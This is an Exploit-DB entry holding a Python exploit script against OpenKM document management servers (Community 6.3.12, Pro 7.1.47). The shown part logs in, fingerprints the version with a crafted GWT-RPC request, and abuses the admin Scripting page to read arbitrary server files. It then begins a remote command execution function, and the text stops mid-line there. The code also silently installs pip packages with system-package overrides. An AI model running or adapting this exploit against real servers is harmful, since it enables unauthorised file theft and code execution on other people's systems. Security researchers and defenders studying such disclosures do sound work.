Exploit-DB #52520
Description: OpenKM 6.3.12 - Multiple
Type: webapps
Platform: multiple
Date: 2026-04-29
Author: skumar

Exploit:
# Exploit Title: OpenKM Multiple Critical Zero-Day
# Date: 17 Jan 2026
# Exploit Author: Terra System Labs Pvt. Ltd.
# Vendor Homepage: https://www.openkm.com/
# Software Link: https://hub.docker.com/r/openkm/openkm-ce
# Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions
# Tested on: Windows and Linux Docker
# CVE : N/A

import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass

print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")

# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
    required_libraries = ["requests", "bs4", "prettytable", "termcolor"]
    for lib in required_libraries:
        try:
            import_module(lib)
        except ImportError:
            print(f"Library {lib} not found. Installing...")
            subprocess.check_call([
    sys.executable, "-m", "pip", "install", lib, "--break-system-packages"
])
            print(f"Library {lib} installed successfully.")

check_and_install_libraries()

from bs4 import BeautifulSoup
from prettytable import PrettyTable

try:
    from termcolor import colored
    use_colored_output = True
except ImportError:
    use_colored_output = False

# Utility function for colored output
def print_colored(message, color):
    if use_colored_output:
        print(colored(message, color))
    else:
        print(message)

# Global session to persist cookies and authentication
session = requests.Session()

def signal_handler(sig, frame):
    print_colored("\nDetected CTRL+C. Logging out...", "red")
    if "base_url" in globals():
        logout(base_url, proxies, verify_ssl)
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)



def check_version(base_url, proxies, verify_ssl):
    print_colored("Checking OpenKM version...", "cyan")
    version_url = f"{base_url}/frontend/Workspace"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*",
        "Content-Type": "text/x-gwt-rpc; charset=utf-8",
        "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
        "X-GWT-Module-Base": f"{base_url}/frontend/",
        "Origin": base_url,
        "Referer": f"{base_url}/frontend/index.jsp",
    }

    payload = (
        f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
        "com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
    )

    response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl)

    if response.status_code == 200 and response.text.startswith("//OK"):
        try:
            strings = re.findall(r'"([^"]+)"', response.text)
            idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/[PII_REDACTED]")
            build = strings[idx + 1]
            release_type = strings[idx + 2]
            ver_major = strings[idx + 3]
            ver_minor = strings[idx + 4]
            ver_patch = strings[idx + 5]
            print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green")
        except Exception as e:
            print_colored(f"Failed to parse version: {e}", "red")
    else:
        print_colored("Failed to fetch version information.", "red")



# Function to handle login
def login(base_url, username, password):
    login_url = f"{base_url}/login.jsp"
    login_payload = {
        "j_username": username,
        "j_password": password,
        "j_language": "en-GB",
        "submit": ""
    }
    login_post_url = f"{base_url}/j_spring_security_check"
    response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl)
    if "error" in response.url:
        print_colored("Login failed. Check credentials.", "red")
        return False
    print_colored("Login successful using default credentials or provided oen, if any.", "green")
    check_version(base_url, proxies, verify_ssl)
    return True


# Function for Local File Inclusion (LFI)
def lfi(base_url, read_file, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrft"})
        if csrf_input:
            csrf_token = csrf_input["value"]
    if not csrf_token:
        print_colored("Failed to fetch CSRF token.", "red")
        return

    script_payload = {
        "csrft": csrf_token,
        "script": "",
        "fsPath": read_file,
        "action": "Load"
    }
    script_post_url = f"{base_url}/admin/Scripting"
    response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, "html.parser")
        textarea = soup.find("textarea", {"id": "script"})
        if textarea:
            print_colored("LFI Successful. Extracted Content:", "green")
            print(textarea.text.strip())
        else:
            print_colored("Content not found.", "red")
    else:
        print_colored("LFI exploit failed.", "red")

# Function for Remote Code Execution (RCE)
def rce(base_url, command, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = sou